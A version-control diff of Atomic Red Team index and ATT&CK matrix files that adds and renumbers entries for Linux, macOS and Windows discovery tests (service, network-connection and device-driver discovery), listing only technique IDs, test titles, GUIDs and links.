discovery,T1033,System Owner/User Discovery,2,System Owner/User Discovery,2a9b677d-a230-44f4-ad86-782df1ef108c,sh
|
||||
discovery,T1016.001,System Network Configuration Discovery: Internet Connection Discovery,2,"Check internet connection using ping freebsd, linux or macos",be8f4019-d8b6-434c-a814-53123cdcc11e,bash
|
||||
discovery,T1652,Device Driver Discovery,4,List loaded kernel extensions (macOS),71eab73d-5d7d-4681-9a72-7873489a5b85,bash
|
||||
discovery,T1652,Device Driver Discovery,5,Find Kernel Extensions (macOS),c63bbe52-6f17-4832-b221-f07ba8b1736f,bash
|
||||
discovery,T1087.001,Account Discovery: Local Account,2,View sudoers access,fed9be70-0186-4bde-9f8a-20945f9370c2,sh
|
||||
discovery,T1087.001,Account Discovery: Local Account,3,View accounts with UID 0,c955a599-3653-4fe5-b631-f11c00eb0397,sh
|
||||
discovery,T1087.001,Account Discovery: Local Account,4,List opened files by user,7e46c7a5-0142-45be-a858-1a3ecb4fd3cb,sh
|
||||
@@ -230,6 +232,7 @@ discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,4,Detect Virtu
|
||||
discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,6,Detect Virtualization Environment using sysctl (hw.model),6beae646-eb4c-4730-95be-691a4094408c,sh
|
||||
discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,7,Check if System Integrity Protection is enabled,2b73cd9b-b2fb-4357-b9d7-c73c41d9e945,sh
|
||||
discovery,T1497.001,Virtualization/Sandbox Evasion: System Checks,8,Detect Virtualization Environment using system_profiler,e04d2e89-de15-4d90-92f9-a335c7337f0f,sh
|
||||
discovery,T1007,System Service Discovery,5,System Service Discovery - macOS launchctl,9b378962-a75e-4856-b117-2503d6dcebba,sh
|
||||
discovery,T1040,Network Sniffing,3,Packet Capture macOS using tcpdump or tshark,9d04efee-eff5-4240-b8d2-07792b873608,bash
|
||||
discovery,T1040,Network Sniffing,8,Packet Capture macOS using /dev/bpfN with sudo,e6fe5095-545d-4c8b-a0ae-e863914be3aa,bash
|
||||
discovery,T1040,Network Sniffing,9,Filtered Packet Capture macOS using /dev/bpfN with sudo,e2480aee-23f3-4f34-80ce-de221e27cd19,bash
|
||||
@@ -248,7 +251,8 @@ discovery,T1016,System Network Configuration Discovery,3,System Network Configur
|
||||
discovery,T1016,System Network Configuration Discovery,8,List macOS Firewall Rules,ff1d8c25-2aa4-4f18-a425-fede4a41ee88,bash
|
||||
discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,ffc8b249-372a-4b74-adcd-e4c0430842de,sh
|
||||
discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery 2,13c5e1ae-605b-46c4-a79f-db28c77ff24e,sh
|
||||
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,4,System Network Connections Discovery via ss or lsof (Linux/MacOS),bcf05343-ef1d-4052-8a27-b00c9be42b9f,bash
|
||||
discovery,T1049,System Network Connections Discovery,5,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh
|
||||
discovery,T1069.001,Permission Groups Discovery: Local Groups,1,Permission Groups Discovery (Local),952931a4-af0b-4335-bbbe-73c8c5b327ae,sh
|
||||
discovery,T1201,Password Policy Discovery,8,Examine password policy - macOS,4b7fa042-9482-45e1-b348-4b756b2a0742,bash
|
||||
|
||||
|
@@ -1329,6 +1329,8 @@ discovery,T1069.002,Permission Groups Discovery: Domain Groups,14,Active Directo
|
||||
discovery,T1007,System Service Discovery,1,System Service Discovery,89676ba1-b1f8-47ee-b940-2e1a113ebc71,command_prompt
|
||||
discovery,T1007,System Service Discovery,2,System Service Discovery - net.exe,5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3,command_prompt
|
||||
discovery,T1007,System Service Discovery,4,Get-Service Execution,51f17016-d8fa-4360-888a-df4bf92c4a04,command_prompt
|
||||
discovery,T1007,System Service Discovery,6,System Service Discovery - Windows Scheduled Tasks (schtasks),7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a,command_prompt
|
||||
discovery,T1007,System Service Discovery,7,System Service Discovery - Services Registry Enumeration,d70d82bd-bb00-4837-b146-b40d025551b2,powershell
|
||||
discovery,T1040,Network Sniffing,4,Packet Capture Windows Command Prompt,a5b2f6a0-24b4-493e-9590-c699f75723ca,command_prompt
|
||||
discovery,T1040,Network Sniffing,5,Windows Internal Packet Capture,b5656f67-d67f-4de8-8e62-b5581630f528,command_prompt
|
||||
discovery,T1040,Network Sniffing,6,Windows Internal pktmon capture,c67ba807-f48b-446e-b955-e4928cd1bf91,command_prompt
|
||||
@@ -1406,7 +1408,8 @@ discovery,T1083,File and Directory Discovery,7,ESXi - Enumerate VMDKs available
|
||||
discovery,T1083,File and Directory Discovery,9,Recursive Enumerate Files And Directories By Powershell,95a21323-770d-434c-80cd-6f6fbf7af432,powershell
|
||||
discovery,T1049,System Network Connections Discovery,1,System Network Connections Discovery,0940a971-809a-48f1-9c4d-b1d785e96ee5,command_prompt
|
||||
discovery,T1049,System Network Connections Discovery,2,System Network Connections Discovery with PowerShell,f069f0f1-baad-4831-aa2b-eddac4baac4a,powershell
|
||||
discovery,T1049,System Network Connections Discovery,4,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
|
||||
discovery,T1049,System Network Connections Discovery,3,System Network Connections Discovery via PowerShell (Process Mapping),b52c8233-8f71-4bd7-9928-49fec8215cf5,powershell
|
||||
discovery,T1049,System Network Connections Discovery,7,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
|
||||
discovery,T1654,Log Enumeration,1,Get-EventLog To Enumerate Windows Security Log,a9030b20-dd4b-4405-875e-3462c6078fdc,powershell
|
||||
discovery,T1654,Log Enumeration,2,Enumerate Windows Security Log via WevtUtil,fef0ace1-3550-4bf1-a075-9fea55a778dd,command_prompt
|
||||
discovery,T1057,Process Discovery,2,Process Discovery - tasklist,c5806a4f-62b8-4900-980b-c7ec004e9908,command_prompt
|
||||
|
||||
|
@@ -2557,6 +2557,10 @@
|
||||
- Atomic Test #5: MSFT Get-GPO Cmdlet [windows]
|
||||
- [T1652 Device Driver Discovery](../../T1652/T1652.md)
|
||||
- Atomic Test #1: Device Driver Discovery [windows]
|
||||
- Atomic Test #2: Device Driver Discovery (Linux) [linux]
|
||||
- Atomic Test #3: Enumerate Kernel Driver Files (Linux) [linux]
|
||||
- Atomic Test #4: List loaded kernel extensions (macOS) [macos]
|
||||
- Atomic Test #5: Find Kernel Extensions (macOS) [macos]
|
||||
- [T1087.002 Account Discovery: Domain Account](../../T1087.002/T1087.002.md)
|
||||
- Atomic Test #1: Enumerate all accounts (Domain) [windows]
|
||||
- Atomic Test #2: Enumerate all accounts via PowerShell (Domain) [windows]
|
||||
@@ -2624,6 +2628,10 @@
|
||||
- Atomic Test #2: System Service Discovery - net.exe [windows]
|
||||
- Atomic Test #3: System Service Discovery - systemctl/service [linux]
|
||||
- Atomic Test #4: Get-Service Execution [windows]
|
||||
- Atomic Test #5: System Service Discovery - macOS launchctl [macos]
|
||||
- Atomic Test #6: System Service Discovery - Windows Scheduled Tasks (schtasks) [windows]
|
||||
- Atomic Test #7: System Service Discovery - Services Registry Enumeration [windows]
|
||||
- Atomic Test #8: System Service Discovery - Linux init scripts [linux]
|
||||
- [T1040 Network Sniffing](../../T1040/T1040.md)
|
||||
- Atomic Test #1: Packet Capture Linux using tshark or tcpdump [linux]
|
||||
- Atomic Test #2: Packet Capture FreeBSD using tshark or tcpdump [linux]
|
||||
@@ -2757,8 +2765,11 @@
|
||||
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
|
||||
- Atomic Test #1: System Network Connections Discovery [windows]
|
||||
- Atomic Test #2: System Network Connections Discovery with PowerShell [windows]
|
||||
- Atomic Test #3: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- Atomic Test #4: System Discovery using SharpView [windows]
|
||||
- Atomic Test #3: System Network Connections Discovery via PowerShell (Process Mapping) [windows]
|
||||
- Atomic Test #4: System Network Connections Discovery via ss or lsof (Linux/MacOS) [linux, macos]
|
||||
- Atomic Test #5: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- Atomic Test #6: System Network Connections Discovery via sockstat (Linux, FreeBSD) [linux]
|
||||
- Atomic Test #7: System Discovery using SharpView [windows]
|
||||
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1619 Cloud Storage Object Discovery](../../T1619/T1619.md)
|
||||
- Atomic Test #1: AWS S3 Enumeration [iaas:aws]
|
||||
|
||||
@@ -732,7 +732,9 @@
|
||||
- Atomic Test #2: Check internet connection using ping freebsd, linux or macos [macos, linux]
|
||||
- T1069 Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1615 Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1652 Device Driver Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1652 Device Driver Discovery](../../T1652/T1652.md)
|
||||
- Atomic Test #2: Device Driver Discovery (Linux) [linux]
|
||||
- Atomic Test #3: Enumerate Kernel Driver Files (Linux) [linux]
|
||||
- [T1087.002 Account Discovery: Domain Account](../../T1087.002/T1087.002.md)
|
||||
- Atomic Test #23: Active Directory Domain Search [linux]
|
||||
- Atomic Test #24: Account Enumeration with LDAPDomainDump [linux]
|
||||
@@ -750,6 +752,7 @@
|
||||
- Atomic Test #15: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS [linux]
|
||||
- [T1007 System Service Discovery](../../T1007/T1007.md)
|
||||
- Atomic Test #3: System Service Discovery - systemctl/service [linux]
|
||||
- Atomic Test #8: System Service Discovery - Linux init scripts [linux]
|
||||
- [T1040 Network Sniffing](../../T1040/T1040.md)
|
||||
- Atomic Test #1: Packet Capture Linux using tshark or tcpdump [linux]
|
||||
- Atomic Test #2: Packet Capture FreeBSD using tshark or tcpdump [linux]
|
||||
@@ -791,7 +794,9 @@
|
||||
- Atomic Test #4: Nix File and Directory Discovery 2 [linux, macos]
|
||||
- Atomic Test #8: Identifying Network Shares - Linux [linux]
|
||||
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
|
||||
- Atomic Test #3: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- Atomic Test #4: System Network Connections Discovery via ss or lsof (Linux/MacOS) [linux, macos]
|
||||
- Atomic Test #5: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- Atomic Test #6: System Network Connections Discovery via sockstat (Linux, FreeBSD) [linux]
|
||||
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1654 Log Enumeration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1057 Process Discovery](../../T1057/T1057.md)
|
||||
|
||||
@@ -655,7 +655,9 @@
|
||||
- Atomic Test #2: Check internet connection using ping freebsd, linux or macos [macos, linux]
|
||||
- T1069 Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1615 Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1652 Device Driver Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1652 Device Driver Discovery](../../T1652/T1652.md)
|
||||
- Atomic Test #4: List loaded kernel extensions (macOS) [macos]
|
||||
- Atomic Test #5: Find Kernel Extensions (macOS) [macos]
|
||||
- T1087.002 Account Discovery: Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1087.001 Account Discovery: Local Account](../../T1087.001/T1087.001.md)
|
||||
- Atomic Test #2: View sudoers access [linux, macos]
|
||||
@@ -669,7 +671,8 @@
|
||||
- Atomic Test #7: Check if System Integrity Protection is enabled [macos]
|
||||
- Atomic Test #8: Detect Virtualization Environment using system_profiler [macos]
|
||||
- T1069.002 Permission Groups Discovery: Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1007 System Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1007 System Service Discovery](../../T1007/T1007.md)
|
||||
- Atomic Test #5: System Service Discovery - macOS launchctl [macos]
|
||||
- [T1040 Network Sniffing](../../T1040/T1040.md)
|
||||
- Atomic Test #3: Packet Capture macOS using tcpdump or tshark [macos]
|
||||
- Atomic Test #8: Packet Capture macOS using /dev/bpfN with sudo [macos]
|
||||
@@ -704,7 +707,8 @@
|
||||
- Atomic Test #3: Nix File and Directory Discovery [linux, macos]
|
||||
- Atomic Test #4: Nix File and Directory Discovery 2 [linux, macos]
|
||||
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
|
||||
- Atomic Test #3: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- Atomic Test #4: System Network Connections Discovery via ss or lsof (Linux/MacOS) [linux, macos]
|
||||
- Atomic Test #5: System Network Connections Discovery FreeBSD, Linux & MacOS [linux, macos]
|
||||
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1654 Log Enumeration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1057 Process Discovery](../../T1057/T1057.md)
|
||||
|
||||
@@ -1861,6 +1861,8 @@
|
||||
- Atomic Test #1: System Service Discovery [windows]
|
||||
- Atomic Test #2: System Service Discovery - net.exe [windows]
|
||||
- Atomic Test #4: Get-Service Execution [windows]
|
||||
- Atomic Test #6: System Service Discovery - Windows Scheduled Tasks (schtasks) [windows]
|
||||
- Atomic Test #7: System Service Discovery - Services Registry Enumeration [windows]
|
||||
- [T1040 Network Sniffing](../../T1040/T1040.md)
|
||||
- Atomic Test #4: Packet Capture Windows Command Prompt [windows]
|
||||
- Atomic Test #5: Windows Internal Packet Capture [windows]
|
||||
@@ -1954,7 +1956,8 @@
|
||||
- [T1049 System Network Connections Discovery](../../T1049/T1049.md)
|
||||
- Atomic Test #1: System Network Connections Discovery [windows]
|
||||
- Atomic Test #2: System Network Connections Discovery with PowerShell [windows]
|
||||
- Atomic Test #4: System Discovery using SharpView [windows]
|
||||
- Atomic Test #3: System Network Connections Discovery via PowerShell (Process Mapping) [windows]
|
||||
- Atomic Test #7: System Discovery using SharpView [windows]
|
||||
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1654 Log Enumeration](../../T1654/T1654.md)
|
||||
- Atomic Test #1: Get-EventLog To Enumerate Windows Security Log [windows]
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
| External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) | Remote Services:VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive Collected Data: Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter: JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fileless Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Modify Authentication Process: Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | [System Network Configuration Discovery: Internet Connection Discovery](../../T1016.001/T1016.001.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Screen Capture](../../T1113/T1113.md) | Exfiltration Over Webhook [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encoding: Standard Encoding](../../T1132.001/T1132.001.md) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Execution: Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Modify Authentication Process: Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Embedded Payloads [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services: SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing: Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Modify Authentication Process: Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | [Brute Force: Password Guessing](../../T1110.001/T1110.001.md) | Device Driver Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol: DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing: Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Modify Authentication Process: Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | [Brute Force: Password Guessing](../../T1110.001/T1110.001.md) | [Device Driver Discovery](../../T1652/T1652.md) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol: DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File/Path Exclusions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Discovery: Domain Account](../../T1087.002/T1087.002.md) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Publish/Subscribe Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | [File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Discovery: Local Account](../../T1087.001/T1087.001.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Systemctl [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Virtualization/Sandbox Evasion: System Checks](../../T1497.001/T1497.001.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
| External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) | [Remote Services:VNC](../../T1021.005/T1021.005.md) | [Archive Collected Data: Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Socket Filters [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter: JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Embedded Payloads [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process: Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery: Internet Connection Discovery](../../T1016.001/T1016.001.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Screen Capture](../../T1113/T1113.md) | Exfiltration Over Webhook [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encoding: Standard Encoding](../../T1132.001/T1132.001.md) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Execution: Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process: Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process: Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services: SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
